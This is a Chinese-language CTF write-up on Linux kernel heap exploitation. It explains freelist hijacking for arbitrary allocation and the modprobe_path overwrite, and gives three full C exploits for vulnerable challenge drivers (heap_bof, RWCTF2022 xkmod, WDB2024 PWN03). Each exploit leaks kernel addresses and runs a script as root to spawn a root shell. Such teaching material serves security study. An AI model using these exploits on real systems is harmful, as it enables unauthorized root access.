wxvl/doc/kernel heap exploit(三).md

599 lines
18 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# kernel heap exploit
原创 Jelasin 蚁景网络安全 2024-11-26 09:36
![](https://mmbiz.qpic.cn/mmbiz_gif/5znJiaZxqldyq3SBEPw0n6hCXNk6PmR3gyPFJDUCibH91GiaAHHKiaCpcsfnQJ2oImQunzubgDtpxzxNHONU88CypA/640?wx_fmt=gif&from=appmsg "")
## 前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path
虽然在高版本内核已经不可用了但ctf比赛还是比较常用的。在通过两道道近期比赛的赛题来讲解。
## Arbitrary Address Allocation
### 利用思路
通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是,内核的 slub  堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入  freelist而这通常并非一个有效的地址从而导致 kernel panic因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行execve一个非法的文件file magic not found内核会经历如下调用链
```
entry_SYSCALL_64()
    sys_execve()
        do_execve()
            do_execveat_common()
                bprm_execve()
                    exec_binprm()
                        search_binary_handler()
                            __request_module() // wrapped as request_module
                                call_modprobe()
```
其中 call_modprobe() 定义于 kernel/kmod.c我们主要关注这部分代码
```
static intcall_modprobe(char *module_name, int wait)
{
//...
    argv[0]= modprobe_path;
    argv[1]="-q";
    argv[2]="--";
    argv[3]= module_name;/* check free_modprobe_argv() */
    argv[4]=NULL;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv,NULL);
if(!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    //...
```
在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。我们不难想到的是:若是我们能够劫持 modprobe_path将其改写为我们指定的恶意脚本的路径随后我们再执行一个非法文件内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
```
__int64 _request_module(
char a1,
        __int64 a2,
double a3,
double a4,
double a5,
double a6,
double a7,
double a8,
double a9,
double a10,
...)
{
......
if( v19 )
{
......
      v21 = call_usermodehelper_setup(
(__int64)&byte_FFFFFFFF82444700,// modprobe_path
(__int64)v18,
(__int64)&off_FFFFFFFF82444620,
3264,
0LL,
(__int64)free_modprobe_argv,
0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh;/; __request_module+14B↑o ...
.data:FFFFFFFF82444701                 db  73h; s
.data:FFFFFFFF82444702                 db  62h; b
.data:FFFFFFFF82444703                 db  69h; i
.data:FFFFFFFF82444704                 db  6Eh; n
.data:FFFFFFFF82444705                 db  2Fh;/
.data:FFFFFFFF82444706                 db  6Dh; m
.data:FFFFFFFF82444707                 db  6Fh; o
.data:FFFFFFFF82444708                 db  64h; d
.data:FFFFFFFF82444709                 db  70h; p
.data:FFFFFFFF8244470A                 db  72h; r
.data:FFFFFFFF8244470B                 db  6Fh; o
.data:FFFFFFFF8244470C                 db  62h; b
.data:FFFFFFFF8244470D                 db  65h; e
.data:FFFFFFFF8244470E                 db    0
```
### exp
```
#include "src/pwn_helper.h"
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9
size_t modprobe_path =0xFFFFFFFF81E48140;
size_t seq_ops_start =0xffffffff81228d90;
struct param {
size_t len;
size_t*buf;
longlong idx;
};
voidalloc_buf(int fd, struct param* p)
{
printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_MALLOC, p);
}
voidfree_buf(int fd, struct param* p)
{
printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_FREE, p);
}
voidread_buf(int fd, struct param* p)
{
printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_READ, p);
}
voidwrite_buf(int fd, struct param* p)
{
printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_WRITE, p);
}
intmain()
{
// len buf idx
size_t* buf =malloc(0x500);
struct param p ={0x20, buf,0};
printf("[+] user_buf : %p\n", p.buf);
int bof_fd = open("/dev/bof", O_RDWR);
if(bof_fd <0){
puts(RED "[-] Failed to open bof." NONE);
exit(-1);
}
printf(YELLOW "[*] try to leak kbase\n" NONE);
    alloc_buf(bof_fd,&p);
    free_buf(bof_fd,&p);
int seq_fd = open("/proc/self/stat", O_RDONLY);
    read_buf(bof_fd,&p);
    qword_dump("leak seq_ops", buf,0x20);
size_t kernel_offset = buf[0]- seq_ops_start;
printf(YELLOW "[*] kernel_offset %p\n" NONE,(void*)kernel_offset);
    modprobe_path += kernel_offset;
printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE,(void*)modprobe_path);
    p.len =0xa8;
    alloc_buf(bof_fd,&p);
    free_buf(bof_fd,&p);
    read_buf(bof_fd,&p);
    buf[0]= modprobe_path -0x20;
    write_buf(bof_fd,&p);
    alloc_buf(bof_fd,&p);
    alloc_buf(bof_fd,&p);
    read_buf(bof_fd,&p);
    qword_dump("leak modprobe_path", buf,0x30);
strcpy((char*)&buf[4],"/tmp/shell.sh\x00");
    write_buf(bof_fd,&p);
    read_buf(bof_fd,&p);
    qword_dump("leak modprobe_path", buf,0x30);
if(open("/shell.sh", O_RDWR)<0){
        system("echo '#!/bin/sh' >> /tmp/shell.sh");
        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
        system("chmod +x /tmp/shell.sh");
}
    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
    system("/tmp/fake");
return0;
}
```
![](https://mmbiz.qpic.cn/mmbiz_jpg/5znJiaZxqldwKjGj79NBAzzDv7Fic1Ty7AnxeRG0LfdEll0RGcgwa82kNcZFibLkXfRz3qTSo6zLN3nwzYnU8sjRA/640?wx_fmt=other&from=appmsg "null")
## RWCTF2022 Digging into kernel 1 & 2
### 题目分析
**start.sh**
```
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic \
-s
```
**逆向分析**
```
int __cdecl xkmod_init()
{
  kmem_cache *v0;// rax
  printk(&unk_1E4);
  misc_register(&xkmod_device);
  v0 =(kmem_cache *)kmem_cache_create("lalala",192LL,0LL,0LL,0LL);
  buf =0LL;
  s = v0;
return0;
}
```
```
int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf); // maybe double free
}
```
```
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 data;// [rsp+0h] [rbp-20h] BYREF
unsignedint idx;// [rsp+8h] [rbp-18h]
unsignedint size;// [rsp+Ch] [rbp-14h]
unsigned __int64 v6;// [rsp+10h] [rbp-10h]
// v3 __ : 0x8 rsp + 0x0
// v4 __ : 0x4 rsp + 0x8
// v5 __ : 0x4 rsp + 0xc
  v6 = __readgsqword(0x28u);
if( a3 )
{
    copy_from_user(&data, a3,0x10LL);
if( a2 ==0x6666666)
{
if( buf && size <=0x50&& idx <=0x70)
{
        copy_from_user((char*)buf +(int)idx, data,(int)size);
return;
}
}
else
{
if( a2 !=0x7777777)
{
if( a2 ==0x1111111)
          buf =(void*)kmem_cache_alloc(s,0xCC0LL);
return;
}
if( buf && size <=0x50&& idx <=0x70)
{
((void(__fastcall *)(__int64,char*,int))copy_to_user)(data,(char*)buf +(int)idx, size);
return;
}
}
    xkmod_ioctl_cold();
}
}
```
### 利用思路
关于内核基址获取在内核堆基址page_offset_base + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
```
#define __PAGE_OFFSET           page_offset_base
#define PAGE_OFFSET  ((unsigned long)__PAGE_OFFSET)
#define __va(x)   ((void *)((unsigned long)(x)+PAGE_OFFSET))
/* Must be perfomed *after* relocation. */
    trampoline_header =(struct trampoline_header *)
        __va(real_mode_header->trampoline_header);
...
    trampoline_header->start =(u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ;voidsecondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000
```
至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。
### exp
```
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path =0xFFFFFFFF82444700;
voidqword_dump(char *desc, void *addr, int len)
{
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:\n", desc);
}
for(int i =0; i < len /8; i +=4){
printf("  %04x", i *8);
for(int j =0; j <4; j++){
            i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf("                   ");
}
printf("   ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
struct Data {
size_t*buf;
u_int32_t offset;
u_int32_t size;
};
voidalloc_buf(int fd, struct Data *data)
{
    ioctl(fd,0x1111111, data);
}
voidwrite_buf(int fd, struct Data *data)
{
    ioctl(fd,0x6666666, data);
}
voidread_buf(int fd, struct Data *data)
{
    ioctl(fd,0x7777777, data);
}
intmain()
{
int xkmod_fd[5];
for(int i =0; i <5; i++){
        xkmod_fd[i]= open("/dev/xkmod", O_RDONLY);
if(xkmod_fd[i]<0){
printf("[-] %d Failed to open xkmod.", i);
exit(-1);
}
}
struct Data data ={malloc(0x1000),0,0x50};
    alloc_buf(xkmod_fd[0],&data);
    close(xkmod_fd[0]);
    read_buf(xkmod_fd[1],&data);
    qword_dump("buf", data.buf,0x50);
size_t page_offset_base = data.buf[0]&0xFFFFFFFFF0000000;
printf("[+] page_offset_base: %p\n", page_offset_base);
    data.buf[0]= page_offset_base +0x9d000-0x10;
    write_buf(xkmod_fd[1],&data);
    alloc_buf(xkmod_fd[1],&data);
    alloc_buf(xkmod_fd[1],&data);
    data.size =0x50;
    read_buf(xkmod_fd[1],&data);
    qword_dump("buf", data.buf,0x50);
size_t kernel_offset = data.buf[2]-0xffffffff81000030;
printf("kernel offset: %p\n", kernel_offset);
    modprobe_path += kernel_offset;
    close(xkmod_fd[1]);
    data.buf[0]= modprobe_path -0x10;
    write_buf(xkmod_fd[2],&data);
    alloc_buf(xkmod_fd[2],&data);
    alloc_buf(xkmod_fd[2],&data);
strcpy((char*)&data.buf[2],"/home/shell.sh");
    write_buf(xkmod_fd[2],&data);
if(open("/home/shell.sh", O_RDWR)<0){
        system("echo '#!/bin/sh' >> /home/shell.sh");
        system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
        system("chmod +x /home/shell.sh");
}
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");
return0;
}
```
## WDB2024 PWN03
### 利用思路
基本上和RWCTF2022 Digging into kernel 1 & 2是一样的这道题大家拿去练手即可建议大家自行分析题目我只把我的exp贴在下面但是建议大家自己写一个exp。
### exp
```
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path =0xFFFFFFFF81E58B80;
voidqword_dump(char *desc, void *addr, int len)
{
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:\n", desc);
}
for(int i =0; i < len /8; i +=4){
printf("  %04x", i *8);
for(int j =0; j <4; j++){
            i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf("                   ");
}
printf("   ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}
voidalloc_buf(int fd, int size)
{
printf("[+] kmalloc %d\n", size);
    ioctl(fd,0x0, size);
}
voidfree_buf(int fd)
{
printf("[+] kfree\n");
    ioctl(fd,0x1,0);
}
voidread_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_to_user %d\n", size);
    read(fd, buf, size);
    qword_dump("read_buf", buf, size);
}
voidwrite_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_from_user %d\n", size);
    qword_dump("write_buf", buf, size);
    write(fd, buf, size);
}
intmain()
{
size_t* buf =malloc(0x500);
int easy_fd;
    easy_fd = open("/dev/easy", O_RDWR);
    alloc_buf(easy_fd,0xa8);
    free_buf(easy_fd);
    read_buf(easy_fd, buf,0xa8);
size_t page_offset_base = buf[0]&0xFFFFFFFFF0000000;
printf("[*] page_offset_base %p\n", page_offset_base);
    buf[0]= page_offset_base +0x9d000-0x10;
    write_buf(easy_fd, buf,0x8);
    alloc_buf(easy_fd,0xa8);
    alloc_buf(easy_fd,0xa8);
    read_buf(easy_fd, buf,0xa8);
size_t kernel_offset = buf[2]-0xFFFFFFFF81000110;
printf("[*] kernel offset: %p\n", kernel_offset);
    modprobe_path += kernel_offset;
    buf[0]= modprobe_path -0x20;
    alloc_buf(easy_fd,0xa8);
    free_buf(easy_fd);
    write_buf(easy_fd, buf,0x8);
    alloc_buf(easy_fd,0xa8);
    alloc_buf(easy_fd,0xa8);
    read_buf(easy_fd, buf,0x20);
strcpy((char*)&buf[4],"/shell.sh\x00");
    write_buf(easy_fd, buf,0x30);
if(open("/shell.sh", O_RDWR)<0){
        system("echo '#!/bin/sh' >> /shell.sh");
        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
        system("chmod +x /shell.sh");
}
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");
return0;
}
```
[](http://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247549615&idx=1&sn=5de0fec4a85adc4c45c6864eec2c5c56&chksm=c160f8e6f61771f0fec6a865b8f6f645128bd3f48035546980afeebcc974b4f76538c7561d55&scene=21#wechat_redirect)
前篇回顾
[kernel](http://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247551010&idx=1&sn=619a3e6770abc85e382e9ec6ef8bb653&chksm=c160f26bf6177b7d98f297b0b77ec19d3ca2aba3eade2d7c0b6dcf8677b7682193b020b4ae87&scene=21#wechat_redirect)
[kernel heap exploit](http://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247551410&idx=1&sn=d417c660d378ffa78d62438345a48fbd&chksm=c160f3fbf6177aed389c64e49f14fb48aeebd995a01e3509e0d90e886671ce4b762b174b4d39&scene=21#wechat_redirect)